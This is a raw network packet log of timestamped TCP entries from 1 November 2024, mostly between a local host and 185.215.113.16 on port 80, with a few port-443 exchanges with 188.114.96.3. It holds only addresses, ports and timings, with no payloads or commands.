Nov 1, 2024 05:02:22.889386892 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.889399052 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.889417887 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.889441967 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.892004013 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.892034054 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.892045021 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.892055988 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.892080069 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.892142057 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.892185926 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.892225981 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.892261028 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.892272949 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.892302036 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.892317057 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.892399073 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.892415047 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.892441988 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.892455101 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.892513037 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.892525911 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.892585039 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.892641068 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.892687082 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.917699099 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.917735100 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.917781115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.917790890 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.917819023 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.917819023 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.917836905 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.917866945 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.917881966 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.917908907 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.917910099 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.917943001 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.918066978 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.918078899 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.918092012 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.918123960 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.918149948 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.922880888 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.922935963 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.922944069 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.922949076 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.922974110 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.922987938 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923048019 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923088074 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923104048 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923135996 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923158884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923161983 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923187971 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923202038 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923223972 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923261881 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923309088 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923352003 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923388004 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923399925 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923435926 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923464060 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923506021 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923592091 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923635006 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923672915 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923713923 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923748016 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923759937 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923793077 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923826933 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.923854113 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.923893929 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.924032927 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.924076080 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.924094915 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.924107075 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.924139023 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.961203098 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.961247921 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.961258888 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.961313009 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.961347103 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.961359978 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.961366892 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.961373091 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.961397886 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.961420059 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.961585045 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.961627960 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.961630106 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.961673021 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.961739063 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.961761951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.961785078 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.961797953 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.966188908 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.966237068 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.966253996 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.966267109 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.966427088 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.966427088 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.966427088 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.966434002 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.966439962 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.966445923 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.966474056 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.966497898 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.966684103 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.966701031 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.966712952 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.966732979 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.966753960 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.006241083 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.006299973 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.006310940 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.006350040 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.006375074 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.008892059 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.008938074 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.008939981 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.008949041 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.008976936 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.008977890 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009001017 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009010077 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009011984 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009063005 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009129047 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009140015 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009151936 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009172916 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009188890 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009366035 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009412050 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009434938 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009450912 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009480000 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009494066 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009572029 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009610891 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009656906 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009668112 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009707928 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009784937 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009824038 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.009824038 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.009857893 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.034835100 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.034871101 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.034879923 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.034907103 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.034934998 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.034934998 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.034985065 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.035008907 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.035021067 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.035024881 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.035037041 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.035047054 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.035068989 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.035087109 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.039944887 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.039995909 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040014029 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040024996 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040055037 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040076971 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040193081 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040199995 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040236950 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040344000 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040354967 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040402889 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040414095 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040482044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040527105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040529966 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040570974 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040608883 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040652990 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040689945 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040703058 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040731907 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040745020 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040900946 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040911913 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.040944099 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.040956974 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.041028023 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.041064978 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.041110992 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.041131973 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.041151047 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.041172981 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.041229963 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.041270971 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.041285038 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.041296959 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.041306973 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.041330099 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.041352034 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.078425884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.078511000 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.078521013 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.078552008 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.078553915 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.078566074 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.078571081 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.078605890 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.078752995 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.078771114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.078783035 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.078804016 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.078834057 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.083158016 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083168983 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083179951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083206892 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.083235025 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.083257914 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083277941 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083296061 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.083331108 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.083372116 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083410025 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.083444118 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083456039 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083492994 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.083509922 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.083542109 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083589077 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.083709955 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083746910 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.083748102 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083758116 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.083784103 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.083797932 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.122821093 CET	443	59848	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:23.122900963 CET	443	59848	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:23.123055935 CET	59848	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:23.123305082 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.123338938 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.123375893 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.123379946 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.123398066 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.123418093 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.123446941 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.123481035 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.123740911 CET	59848	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:23.123779058 CET	443	59848	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:23.125983953 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.125993967 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126032114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126033068 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.126064062 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.126096010 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.126220942 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126234055 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126275063 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.126296997 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126348972 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.126390934 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126403093 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126446009 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.126564026 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126604080 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.126629114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126667023 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.126678944 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126715899 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.126786947 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126823902 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.126852036 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126885891 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.126977921 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.126990080 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.127048016 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.127048016 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.127106905 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.127477884 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.152045965 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.152076006 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.152081966 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.152102947 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.152152061 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.152211905 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.152225018 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.152251959 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.152280092 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.157068968 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157124043 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157135963 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157151937 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.157174110 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.157181025 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.157316923 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157327890 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157361031 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.157376051 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.157536030 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157546043 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157558918 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157569885 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157579899 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157583952 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.157598972 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.157636881 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.157855034 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157895088 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.157969952 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.157982111 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.158005953 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.158023119 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.158169031 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.158180952 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.158191919 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.158204079 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.158207893 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.158221960 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.158246994 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.158498049 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.158509016 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.158520937 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.158544064 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.158559084 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.158705950 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.158718109 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.158729076 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.158746958 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.158770084 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.195415974 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.195447922 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.195481062 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.195489883 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.195503950 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.195518017 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.195533037 CET	59845	80	192.168.2.5	185.215.113.16
